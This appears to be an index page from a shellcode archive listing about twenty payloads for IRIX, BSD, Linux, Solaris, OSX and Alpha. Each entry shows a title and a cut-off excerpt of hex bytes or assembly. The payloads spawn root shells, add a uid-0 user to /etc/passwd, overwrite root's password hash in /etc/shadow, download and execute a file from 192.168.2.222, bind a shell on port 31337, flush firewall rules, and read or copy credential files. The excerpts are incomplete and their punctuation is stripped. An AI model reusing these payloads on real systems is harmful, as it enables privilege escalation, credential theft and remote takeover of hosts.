IRIX - execve(/bin/sh -c) Shellcode (72 bytes)

IRIX - execve/bin/sh -c Shellcode 72 bytes. Shellcode exploit for IRIX platform char cmdshellcode= "\x04\x10\xff\xff" / bltzal $zero, / "\x24\x02\x03\xf3" / li $v0,1011 / "\x23\xff\x08\xf4" / addi $ra,$ra,2292 / "\x23\xe4\xf7\x40" / addi $a0,$ra,-2240 / "\x23\xe5\xfb\x24" / addi $a1,$ra,-1244 /...

BSD/x86 - setreuid(geteuid(), geteuid()) + execve("/bin/sh") Shellcode (36 bytes)

BSD/x86 - setreuidgeteuid, geteuid + execve"/bin/sh" Shellcode 36 bytes. Shellcode exploit for BSDx86 platform / bsd/x86 setreuid/exec shellcode setreuidgeteuid, geteuid and execve"/bin/sh", "/bin/sh", 0 shellcode based on hkpco's setreuid/exec shellcode for linux Tested on FreeBSD / include...

BSD/x86 - Write to /etc/passwd with uid(0) + gid(0) Shellcode (74 bytes)

BSD/x86 - Write to /etc/passwd with uid0 + gid0 Shellcode 74 bytes. Shellcode exploit for BSDx86 platform / writes the line for user in /etc/passwd with uid&gid == 0 OS: BSD length: 74 written by dev0id [email protected] rootteam.void.ru rus-sec /Efnet.org greetz: mig nerf BITS 32 main: xor eax,eax...

Linux/x86 - pwrite(/etc/shadow, (md5 hash of agix), 32, 8) Shellcode (89 bytes)

Linux/x86 - pwrite/etc/shadow, md5 hash of agix, 32, 8 Shellcode 89 bytes. Shellcode exploit for Linuxx86 platform / | Title: Linux/x86 pwrite"/etc/shadow", hash, 32, 8 Shellcode 89 Bytes | Description: replace root's password with hash of "agix" in MD5 | Type: Shellcode | Author: agix | Platform...

Linux/x86 - Download File (http://192.168.2.222/x) + chmod() + execute Shellcode (108 bytes)

Linux/x86 - Download File http://192.168.2.222/x + chmod + execute Shellcode 108 bytes. Shellcode exploit for Linuxx86 platform / ; Filename: downloadexec.nasm ; Author: Daniel Sauder ; Website: http://govolution.wordpress.com/ ; Tested on: Ubuntu 12.04 / 32Bit ; License:...

Linux/x86 - Force Reboot Shellcode (36 bytes)

Linux/x86 - Force Reboot Shellcode 36 bytes. Shellcode exploit for Linuxx86 platform Linux/x86 Force Reboot shellcode 36 bytes Author: Hamza Megahed Twitter: @HamzaMega blog: hamza-megadotblogspotdotcom E-mail: hamzadotmegahedatgmaildotcom xor %eax,%eax push %eax push $0x746f6f62 push $0x65722f6e...

Linux/x86 - setuid(0) + execve(/bin/sh) Shellcode (29 bytes)

Linux/x86 - setuid0 + execve/bin/sh Shellcode 29 bytes. Shellcode exploit for Linuxx86 platform / 29 byte-long setuid0 + execve"/bin/sh",... shellcode by Marcin Ulikowski / include char shellcode = "\x31\xdb" / xor %ebx,%ebx / "\x8d\x43\x17" / lea 0x17%ebx,%eax / "\xcd\x80" / int $0x80 / "\x53" /...

Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) + exit() Shellcode (58 bytes)

Linux/x86 - Flush IPTables Rules /sbin/iptables -F + exit Shellcode 58 bytes. Shellcode exploit for Linuxx86 platform / The shellcode flushs the iptables by running /sbin/iptables -F then exit greetz to zilion: man, my code is shorter! size = 64 bytes OS = Linux i386 written by /rootteam/dev0id...

FreeBSD/x86 - /sbin/pfctl -F all Shellcode (47 bytes)

FreeBSD/x86 - /sbin/pfctl -F all Shellcode 47 bytes. Shellcode exploit for FreeBSDx86 platform / Title: FreeBSD 8.0-RELEASE/x86 '//sbin/pfctl -F all Shellcode 47 Bytes' Type: Shellcode Author: antrhacks Platform: FreeBSD 8.0-RELEASE / / ASSembly 31 c0 xor %eax,%eax 50 push %eax 68 2d 46 61 6c pus...

OSX/PPC - execve(/bin/sh) + Null-Free Shellcode

OSX/PPC - execve/bin/sh + Null-Free Shellcode. Shellcode exploit for OSXPPC platform ;;; $Id: ppc-execve.s,v 1.1 2003/03/01 01:10:48 ghandi Exp $ ;;; PPC MacOS X maybe others shellcode ;;; ;;; After assembly, change bytes 2 and 3 of the 'sc' instruction encoding ;;; from 0x00 to 0xff. ;;; ;;;...

Linux/x86 - Bind TCP (31337/TCP) Shell Shellcode (108 bytes)

Linux/x86 - Bind TCP 31337/TCP Shell Shellcode 108 bytes. Shellcode exploit for Linuxx86 platform / Title : tcpbindshell 108 bytes Date : 15 May 2013 Author : Russell Willis Testd on: Linux/x86 SMP Debian 3.2.41-2 i686 $ objdump -D tcpbindshell -M intel tcpbindshell: file format elf32-i386...

Linux/x86-64 - Add User (pwned/$pass$) Using echo cmd To /etc/{passwd,shadow} Shellcode (273 bytes)

Linux/x86-64 - Add User pwned/$pass$ Using echo cmd To /etc/passwd,shadow Shellcode 273 bytes. Shellcode exploit for Linuxx86-64 platform ; shellcode name adduserpassword ; Author : Christophe G SLAE64-1337 ; Len : 273 bytes ; Language : Nasm ; "name = pwned ; pass = $pass$" ; add user and passwo...

Linux/x86 - Flush IPChains Rules (/sbin/ipchains -F) Shellcode (58 bytes)

Linux/x86 - Flush IPChains Rules /sbin/ipchains -F Shellcode 58 bytes. Shellcode exploit for Linuxx86 platform / The shellcode flushs the ipchains table by running /sbin/ipchains -F no exit greetz to zilion: man, my code is shorter! size = 58 bytes OS = Linux i386 written by /rootteam/dev0id...

BSD/x86 - execve(/bin/sh) + seteuid(0) Shellcode (31 bytes)

BSD/x86 - execve/bin/sh + seteuid0 Shellcode 31 bytes. Shellcode exploit for BSDx86 platform / simply execvebinsh+seteuid0 shellcode in 31 bytes written on nasm - my first nasm exp. greetz2: mig darknet /EFnet.org nerf nerf /EFnet.org dev0id rus-sec /EFnet.org rootteam.void.ru / char shellcode =...

Linux/x86 - setuid(0) + Break chroot (../ 10x Loop) Shellcode (34 bytes)

Linux/x86 - setuid0 + Break chroot ../ 10x Loop Shellcode 34 bytes. Shellcode exploit for Linuxx86 platform / The setuid0+chroot shellcode. It is the one of the smallest shellcodes in the !!world!! it will put '../' 10 times Size 34 bytes OS Linux /rootteam/dev0id rootteam.void.ru...

Linux/x86 - Copy /etc/passwd to /tmp/outfile Shellcode (97 bytes)

Linux/x86 - Copy /etc/passwd to /tmp/outfile Shellcode 97 bytes. Shellcode exploit for Linuxx86 platform ;Description: Copy /etc/passwd to /tmp/outfile 97 bytes ;Shellcode:...

Solaris/x86 - setuid(0) + /bin/cat /etc/shadow Shellcode (61 bytes)

Solaris/x86 - setuid0 + /bin/cat /etc/shadow Shellcode 61 bytes. Shellcode exploit for Solarisx86 platform. Tags: Metasploit Framework MSF Name = John Babio Twitter = 3vi1john SunOS opensolaris 10 5.11 i86pc i386 i86pc setuid0 /bin/cat //etc/shadow char code=...

Alpha - setuid() Shellcode (156 bytes)

Alpha - setuid Shellcode 156 bytes. Shellcode exploit for Alpha platform char shellcode= "\x30\x15\xd9\x43" / subq $30,200,$16 / "\x11\x74\xf0\x47" / bis $31,0x83,$17 / "\x12\x14\x02\x42" / addq $16,16,$18 / "\xfc\xff\x32\xb2" / stl $17,-4$18 / "\x12\x94\x09\x42" / addq $16,76,$18 /...

OSX/PPC - Remote findsock by recv() Key Shellcode

OSX/PPC - Remote findsock by recv Key Shellcode. Shellcode exploit for OSXPPC platform ;;; ;;; PowerPC OSX remote findsock by recv key shellcode ;;; ;;; Dino Dai Zovi , 20040816 ;;; .globl shellcode .text .set KEY, 0x5858580a .set PTHREADEXIT, 0x90017021 ; OSX 10.3.X shellcode: Lfindsock: addis...

Linux/x86-64 - Read /etc/passwd Shellcode (82 bytes)

Linux/x86-64 - Read /etc/passwd Shellcode 82 bytes. Shellcode exploit for Linuxx86-64 platform BITS 64 ; Author Mr.Un1k0d3r - RingZer0 Team ; Read /etc/passwd Linux x8664 Shellcode ; Shellcode size 82 bytes global start section .text start: jmp pushfilename readfile: ; syscall open file pop rdi ;...